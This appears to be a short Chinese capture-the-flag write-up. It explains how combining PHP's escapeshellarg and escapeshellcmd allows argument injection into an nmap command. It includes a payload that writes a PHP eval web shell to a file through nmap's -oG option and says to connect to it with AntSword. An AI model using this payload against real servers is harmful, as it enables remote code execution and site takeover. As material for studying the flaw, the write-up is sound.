本题的利用主要是:
1.get传参
2.对传入的参数使用的两个方法利用
大概讲讲我所理解的这两个方法
(1)escapeshellarg()函数:
把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号;
(2)escapeshellcmd()函数:
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义;
两个方法一起使用就会出现命令执行的问题–原本的命令被当作字符串被上传了
- 传入的参数是:
127.0.0.1' -v -d a=1
- 经过
escapeshellarg
处理后变成了'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。127.0.0.1
'\'' -v -d a=1' - 经过
escapeshellcmd
处理后变成'
,这是因为127.0.0.1
'\\'' -v -d a=1\'escapeshellcmd
对\
以及最后那个不配对儿的引号进行了转义:
同时在nmap里面有一个参数-oG可以实现将命令和结果写到文件
payload:?host='<?php eval($_POST[“a”]);?> -oG 1.php '
把路径跟在网址后面连接蚁剑